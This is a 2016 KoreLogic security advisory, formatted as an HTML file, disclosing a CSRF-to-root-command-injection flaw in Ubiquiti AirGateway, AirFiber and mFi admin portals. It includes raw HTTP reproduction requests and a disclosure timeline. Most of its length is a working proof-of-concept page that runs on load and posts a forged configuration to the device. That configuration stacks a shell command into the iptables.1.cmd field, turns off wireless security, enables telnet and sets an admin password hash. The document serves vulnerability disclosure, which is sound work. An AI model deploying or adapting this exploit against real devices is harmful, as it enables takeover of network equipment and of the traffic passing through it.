<!--
KL-001-2016-002 : Ubiquiti Administration Portal CSRF to Remote Command Execution

Title: Ubiquiti Administration Portal CSRF to Remote Command Execution
Advisory ID: KL-001-2016-002
Publication Date: 2016.06.28
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-002.txt


1. Vulnerability Details

     Affected Vendor: Ubiquiti
     Affected Product: AirGateway, AirFiber, mFi
     Affected Version: 1.1.6, 3.2, 2.1.11
     Platform: Embedded Linux
     CWE Classification: CWE-352: Cross-Site Request Forgery (CSRF);
                         CWE-77: Improper Neutralization of Special Elements
                         used in a Command ('Command Injection')
     Impact: Arbitrary Code Execution
     Attack vector: HTTP

2. Vulnerability Description

     The Ubiquiti AirGateway, AirFiber and mFi platforms feature
     remote administration via an authenticated web-based portal.
     Lack of CSRF protection in the Remote Administration Portal,
     and unsafe passing of user input to operating system commands
     exectuted with root privileges, can be abused in a way that
     enables remote command execution.

3. Technical Description


     The firmware files analyzed were
     AirGWP.v1.1.6.28062.150731.1520.bin, AF24.v3.2.bin, and
     firmware.bin respectively.

     The MD5 hash values for the vulnerable files served by the
     administration portal are:

     AirGateway b45fe8e491d62251f0a7a100c636178a /usr/www/system.cgi
     AirFiber   d8926f7f65a2111f4036413f985082b9 /usr/www/system.cgi
     mFi        960e8f6e507b227dbc4b65fc7a7036bc /usr/www/system.cgi

     The firmware file contains a LZMA compressed, squashfs
     partition. The binaries running on the embedded device are
     compiled for a MIPS CPU. The device can be easily virtualized
     using QEMU:

     Example: sudo /usr/sbin/chroot . ./qemu-mips-static /usr/sbin/lighttpd
              -f /etc/lighttpd/lighttpd.conf

     The administration portal does not issue a randomized CSRF
     token either per session, page, or request.  Administration
     authorization is solely based on cookie control. Therefore,
     it is possible to embed JavaScript into an HTML page so when
     an administrator is socially engineered into visiting the page,
     the target device will be accessed with privileges.

     Device configuration POST parameters include tokens passed to
     operating system commands run as root in unsafe ways with
     insufficient input sanitization.  Command injection is possible
     by stacking shell commands in parameters such as
     iptables.1.cmd.

     In order for a developer to recreate this discovery, the
     following instructions should be duplicated.

     a. Authenticate to the target web application and navigate to the
        SYSTEM page.
     b. Download the current configuration.
     c. Open the configuration in an editor of your choice, navigate to the
        line containing: iptables.1.cmd=-A FIREWALL -j ACCEPT
     d. Append the following onto that line: ;touch /var/tmp/csrf-to-rce.txt
     e. Save the changes, and submit the modified configuration. Apply the
        changes using apply.cgi afterward.

        Example:

         POST /system.cgi HTTP/1.1
         Host: 192.168.1.1
         User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:43.0)
         Gecko/20100101 Firefox/43.0
         Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;
         q=0.8
         Accept-Language: en-US,en;q=0.5
         Accept-Encoding: gzip, deflate
         DNT: 1
         Referer: https://192.168.1.1/system.cgi
         Cookie: ui_language=en_US; last_check=1452020493426;
         AIROS_SESSIONID=e5f61a5c0a9d0690b4efd484e56b8c93
         Connection: keep-alive
         Content-Type: multipart/form-data;
         boundary=---------------------------4384928471732886672453075690
         Content-Length: 7204

         ...
         iptables.1.cmd=-A FIREWALL -j ACCEPT; touch /var/tmp/csrf-to-rce.txt
         ...

         GET /apply.cgi?testmode=&_=[redacted] HTTP/1.1
         Host: 192.168.1.1
         X-Requested-With: XMLHttpRequest
         Referer: https://192.168.1.1/system.cgi
         Cookie: ui_language=en_US; last_check=1452020493426;
         AIROS_SESSIONID=e5f61a5c0a9d0690b4efd484e56b8c93
         Connection: keep-alive

     f. Change your IP address, but ensure continued routing to the target web
        application. Incrementing the last octet is sufficient.
     g. Open the configuration in an editor of your choice, navigate to the
        modified line and alter it: ;touch /var/tmp/csrf-to-rce-newsrc.txt
     h. Repeat step 5 from the new IP address. You will receive the same
        response. Apply the changes using the apply.cgi file.
     i. Login to the target device using SSH or telnet, navigate to /var/tmp
        and type ls.
     j. You'll discover both files exist.

4. Mitigation and Remediation Recommendation

     At this time there is no vendor patch for this vulnerability.
     The vendor was unable or unwilling to communicate an expected release
     date for a proper mitigation.

5. Credit

     This vulnerability was discovered by Matt Bergin (@thatguylevel)
     of KoreLogic, Inc.

6. Disclosure Timeline

     2016.02.25 - KoreLogic sends vulnerability report and PoC to Ubiquiti.
     2016.02.26 - Ubiquiti acknowledges receipt of vulnerability report.
     2016.04.12 - 30 business days have elapsed since the vulnerability was
                  reported to Ubiquiti.
     2016.04.21 - KoreLogic asks for an update on the remediation effort.
     2016.04.29 - Ubiquiti replies that the patch will require
                  "significant changes" but does not provide an estimate
                  of the release time table.
     2016.05.04 - 45 business days have elapsed since the vulnerability was
                  reported to Ubiquiti.
     2016.05.12 - KoreLogic requests an update from Ubiquiti.
     2016.05.23 - KoreLogic requests an update from Ubiquiti.
     2016.06.23 - 80 business days have elapsed since the vulnerability was
                  reported to Ubiquiti.
     2016.06.28 - Public disclosure.

7. Proof of Concept

     ########################################################################
     #
     # Copyright 2016 KoreLogic Inc., All Rights Reserved.
     #
     # This proof of concept, having been partly or wholly developed
     # and/or sponsored by KoreLogic, Inc., is hereby released under
     # the terms and conditions set forth in the Creative Commons
     # Attribution Share-Alike 4.0 (United States) License:
     #
     #   http://creativecommons.org/licenses/by-sa/4.0/
     #
     #######################################################################*

     This example has been performed against the AirGateway device running the
     1.1.6 firmware version. In order to recreate this vulnerability on
     AirFiber and mFi, the attacker should first obtain a valid copy of the
     device configuration and update this proof-of-concept code.
-->

<html>
  <body>
    <form action="https://192.168.1.1/apply.cgi" id="airos-exploit-apply">
      <input type="submit" value="Submit request" />
    </form>

    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https://192.168.1.1/system.cgi", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------761818923593135447208368355");
        xhr.withCredentials = true;
        var body = "-----------------------------761818923593135447208368355\r\n" + 
          "Content-Disposition: form-data; name=\"fwfile\"; filename=\"\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------761818923593135447208368355\r\n" + 
          "Content-Disposition: form-data; name=\"action\"\r\n" + 
          "\r\n" + 
          "fwupload\r\n" + 
          "-----------------------------761818923593135447208368355\r\n" + 
          "Content-Disposition: form-data; name=\"update_status\"\r\n" + 
          "\r\n" + 
          "enabled\r\n" + 
          "-----------------------------761818923593135447208368355\r\n" + 
          "Content-Disposition: form-data; name=\"hostname\"\r\n" + 
          "\r\n" + 
          "airGateway\r\n" + 
          "-----------------------------761818923593135447208368355\r\n" + 
          "Content-Disposition: form-data; name=\"timezone\"\r\n" + 
          "\r\n" + 
          "GMT\r\n" + 
          "-----------------------------761818923593135447208368355\r\n" + 
          "Content-Disposition: form-data; name=\"ui_language\"\r\n" + 
          "\r\n" + 
          "en_US\r\n" + 
          "-----------------------------761818923593135447208368355\r\n" + 
          "Content-Disposition: form-data; name=\"adminname\"\r\n" + 
          "\r\n" + 
          "ubnt\r\n" + 
          "-----------------------------761818923593135447208368355\r\n" + 
          "Content-Disposition: form-data; name=\"latitude\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------761818923593135447208368355\r\n" + 
          "Content-Disposition: form-data; name=\"longitude\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------761818923593135447208368355\r\n" + 
          "Content-Disposition: form-data; name=\"longitude\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------761818923593135447208368355\r\n" + 
          "Content-Disposition: form-data; name=\"cfgfile\"; filename=\"hacked.cfg\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "aaa.1.radius.acct.1.status=disabled\n" + 
          "wpasupplicant.status=disabled\n" + 
          "wpasupplicant.device.1.status=disabled\n" + 
          "wireless.status=enabled\n" + 
          "wireless.1.wds.status=disabled\n" + 
          "wireless.1.wds.6.peer=\n" + 
          "wireless.1.wds.5.peer=\n" + 
          "wireless.1.wds.4.peer=\n" + 
          "wireless.1.wds.3.peer=\n" + 
          "wireless.1.wds.2.peer=\n" + 
          "wireless.1.wds.1.peer=\n" + 
          "wireless.1.status=enabled\n" + 
          "wireless.1.ssid=www.ubnt.com\n" + 
          "wireless.1.security.type=none\n" + 
          "wireless.1.scan_list.status=disabled\n" + 
          "wireless.1.mac_acl.policy=allow\n" + 
          "wireless.1.mac_acl.status=disabled\n" + 
          "wireless.1.hide_ssid=disabled\n" + 
          "wireless.1.devname=ath0\n" + 
          "wireless.1.autowds=disabled\n" + 
          "wireless.1.authmode=1\n" + 
          "wireless.1.ap=\n" + 
          "wireless.1.addmtikie=enabled\n" + 
          "vlan.status=disabled\n" + 
          "users.status=enabled\n" + 
          "users.1.status=enabled\n" + 
          "users.1.password=VvpvCwhccFv6Q\n" + 
          "users.1.name=ubnt\n" + 
          "upnpd.devname=\n" + 
          "upnpd.status=disabled\n" + 
          "tshaper.status=disabled\n" + 
          "telnetd.status=enabled\n" + 
          "telnetd.port=23\n" + 
          "system.modules.blacklist.status=disabled\n" + 
          "system.eirp.status=disabled\n" + 
          "system.cfg.version=65542\n" + 
          "syslog.status=disabled\n" + 
          "syslog.remote.status=\n" + 
          "sshd.status=enabled\n" + 
          "sshd.port=22\n" + 
          "sshd.auth.passwd=enabled\n" + 
          "snmp.status=disabled\n" + 
          "route.1.devname=eth0\n" + 
          "route.1.status=disabled\n" + 
          "route.1.comment=\n" + 
          "route.1.gateway=0.0.0.0\n" + 
          "route.1.netmask=0\n" + 
          "route.1.ip=0.0.0.0\n" + 
          "route.status=enabled\n" + 
          "resolv.nameserver.2.status=enabled\n" + 
          "resolv.nameserver.2.ip=\n" + 
          "resolv.nameserver.1.status=enabled\n" + 
          "resolv.nameserver.1.ip=\n" + 
          "resolv.status=disabled\n" + 
          "radio.status=enabled\n" + 
          "radio.countrycode=840\n" + 
          "radio.1.txpower=18\n" + 
          "radio.1.subsystemid=0xe4c2\n" + 
          "radio.1.status=enabled\n" + 
          "radio.1.reg_obey=disabled\n" + 
          "radio.1.rate.mcs=7\n" + 
          "radio.1.rate.auto=enabled\n" + 
          "radio.1.obey=disabled\n" + 
          "radio.1.mode=master\n" + 
          "radio.1.mcastrate=\n" + 
          "radio.1.low_txpower_mode=disabled\n" + 
          "radio.1.ieee_mode=11nght20\n" + 
          "radio.1.freq=0\n" + 
          "radio.1.forbiasauto=1\n" + 
          "radio.1.dfs.status=enabled\n" + 
          "radio.1.devname=ath0\n" + 
          "radio.1.cwm.mode=0\n" + 
          "radio.1.cwm.enable=0\n" + 
          "radio.1.countrycode=840\n" + 
          "radio.1.clksel=1\n" + 
          "radio.1.chanshift=\n" + 
          "radio.1.chanbw=0\n" + 
          "radio.1.antenna.id=4\n" + 
          "radio.1.acktimeout=25\n" + 
          "radio.1.ackdistance=600\n" + 
          "pwdog.status=enabled\n" + 
          "pwdog.retry=3\n" + 
          "pwdog.period=300\n" + 
          "pwdog.host=8.8.8.8\n" + 
          "pwdog.delay=300\n" + 
          "ppp.status=disabled\n" + 
          "ntpclient.status=enabled\n" + 
          "ntpclient.1.status=enabled\n" + 
          "ntpclient.1.server=0.ubnt.pool.ntp.org\n" + 
          "netmode=soho\n" + 
          "netconf.5.up=enabled\n" + 
          "netconf.5.hwaddr.mac=\n" + 
          "netconf.5.hwaddr.status=disabled\n" + 
          "netconf.5.autoip.status=disabled\n" + 
          "netconf.5.role=mlan\n" + 
          "netconf.5.mtu=1500\n" + 
          "netconf.5.devname=eth0\n" + 
          "netconf.5.status=disabled\n" + 
          "netconf.4.up=enabled\n" + 
          "netconf.4.netmask=255.255.255.0\n" + 
          "netconf.4.ip=0.0.0.0\n" + 
          "netconf.4.hwaddr.mac=\n" + 
          "netconf.4.hwaddr.status=disabled\n" + 
          "netconf.4.autoip.status=disabled\n" + 
          "netconf.4.role=bridge_port\n" + 
          "netconf.4.mtu=1500\n" + 
          "netconf.4.devname=eth1\n" + 
          "netconf.4.status=enabled\n" + 
          "netconf.3.up=enabled\n" + 
          "netconf.3.netmask=255.255.255.0\n" + 
          "netconf.3.ip=192.168.1.1\n" + 
          "netconf.3.hwaddr.mac=\n" + 
          "netconf.3.hwaddr.status=disabled\n" + 
          "netconf.3.autoip.status=disabled\n" + 
          "netconf.3.role=lan\n" + 
          "netconf.3.mtu=1500\n" + 
          "netconf.3.devname=br0\n" + 
          "netconf.3.status=enabled\n" + 
          "netconf.2.up=enabled\n" + 
          "netconf.2.promisc=enabled\n" + 
          "netconf.2.netmask=255.255.255.0\n" + 
          "netconf.2.ip=0.0.0.0\n" + 
          "netconf.2.hwaddr.mac=\n" + 
          "netconf.2.hwaddr.status=disabled\n" + 
          "netconf.2.autoip.status=disabled\n" + 
          "netconf.2.role=bridge_port\n" + 
          "netconf.2.mtu=1500\n" + 
          "netconf.2.devname=ath0\n" + 
          "netconf.2.status=enabled\n" + 
          "netconf.1.up=enabled\n" + 
          "netconf.1.promisc=enabled\n" + 
          "netconf.1.netmask=255.255.255.0\n" + 
          "netconf.1.ip=0.0.0.0\n" + 
          "netconf.1.hwaddr.mac=\n" + 
          "netconf.1.hwaddr.status=disabled\n" + 
          "netconf.1.autoip.status=disabled\n" + 
          "netconf.1.role=wan\n" + 
          "netconf.1.mtu=1500\n" + 
          "netconf.1.devname=eth0\n" + 
          "netconf.1.status=enabled\n" + 
          "netconf.status=enabled\n" + 
          "iptables.sys.upnpd.devname=\n" + 
          "iptables.sys.upnpd.status=disabled\n" + 
          "iptables.sys.status=enabled\n" + 
          "iptables.sys.portfw.status=disabled\n" + 
          "iptables.sys.mgmt.status=disabled\n" + 
          "iptables.sys.masq.1.status=enabled\n" + 
          "iptables.sys.masq.1.devname=eth0\n" + 
          "iptables.sys.masq.status=enabled\n" + 
          "iptables.sys.fw.status=disabled\n" + 
          "iptables.sys.dmz.status=disabled\n" + 
          "iptables.1.comment=\n" + 
          "iptables.1.cmd=-A FIREWALL -j ACCEPT; touch /var/hacked.txt\n" + 
          "iptables.1.status=enabled\n" + 
          "iptables.status=enabled\n" + 
          "igmpproxy.status=enabled\n" + 
          "igmpproxy.upstream.devname=eth0\n" + 
          "igmpproxy.1.downstream.devname=br0\n" + 
          "httpd.status=enabled\n" + 
          "httpd.session.timeout=900\n" + 
          "httpd.port=80\n" + 
          "httpd.https.status=enabled\n" + 
          "httpd.https.port=443\n" + 
          "gui.wlan.advanced.status=disabled\n" + 
          "gui.network.advanced.status=enabled\n" + 
          "ebtables.sys.vlan.status=disabled\n" + 
          "ebtables.sys.status=enabled\n" + 
          "ebtables.sys.eap.status=disabled\n" + 
          "ebtables.sys.eap.1.status=enabled\n" + 
          "ebtables.sys.eap.1.devname=ath0\n" + 
          "ebtables.sys.arpnat.status=disabled\n" + 
          "ebtables.sys.arpnat.1.status=enabled\n" + 
          "ebtables.sys.arpnat.1.devname=ath0\n" + 
          "ebtables.status=enabled\n" + 
          "dyndns.status=disabled\n" + 
          "dnsmasq.status=disabled\n" + 
          "dnsmasq.1.status=disabled\n" + 
          "dnsmasq.1.devname=eth0\n" + 
          "discovery.status=enabled\n" + 
          "discovery.cdp.status=enabled\n" + 
          "dhcpd.1.start=192.168.1.2\n" + 
          "dhcpd.1.netmask=255.255.255.0\n" + 
          "dhcpd.1.lease_time=600\n" + 
          "dhcpd.1.end=192.168.1.254\n" + 
          "dhcpd.1.dnsproxy=enabled\n" + 
          "dhcpd.1.devname=br0\n" + 
          "dhcpd.1.dns.2.status=disabled\n" + 
          "dhcpd.1.dns.2.server=\n" + 
          "dhcpd.1.dns.1.status=disabled\n" + 
          "dhcpd.1.dns.1.server=\n" + 
          "dhcpd.1.status=enabled\n" + 
          "dhcpd.status=enabled\n" + 
          "dhcpc.1.status=enabled\n" + 
          "dhcpc.1.fallback_netmask=255.255.255.0\n" + 
          "dhcpc.1.fallback=192.168.10.1\n" + 
          "dhcpc.1.devname=eth0\n" + 
          "dhcpc.status=enabled\n" + 
          "bridge.1.fd=1\n" + 
          "bridge.1.comment=\n" + 
          "bridge.1.port.2.devname=eth1\n" + 
          "bridge.1.port.2.status=enabled\n" + 
          "bridge.1.port.1.devname=ath0\n" + 
          "bridge.1.port.1.status=enabled\n" + 
          "bridge.1.stp.status=disabled\n" + 
          "bridge.1.devname=br0\n" + 
          "bridge.1.status=enabled\n" + 
          "bridge.status=enabled\n" + 
          "aaa.status=disabled\n" + 
          "aaa.1.status=disabled\n" + 
          "aaa.1.radius.macacl.status=disabled\n" + 
          "aaa.1.radius.auth.1.status=disabled\n" + 
          "\r\n" + 
          "-----------------------------761818923593135447208368355\r\n" + 
          "Content-Disposition: form-data; name=\"cfgupload\"\r\n" + 
          "\r\n" + 
          "Upload\r\n" + 
          "-----------------------------761818923593135447208368355\r\n" + 
          "Content-Disposition: form-data; name=\"action\"\r\n" + 
          "\r\n" + 
          "cfgupload\r\n" + 
          "-----------------------------761818923593135447208368355\r\n" + 
          "Content-Disposition: form-data; name=\"systemdate\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------761818923593135447208368355--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
     submitRequest();
     document.getElementById("airos-exploit-apply").submit();
     </script>
  </body>
</html>

<!--
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KoreLogic, Inc. and are licensed under a Creative Commons
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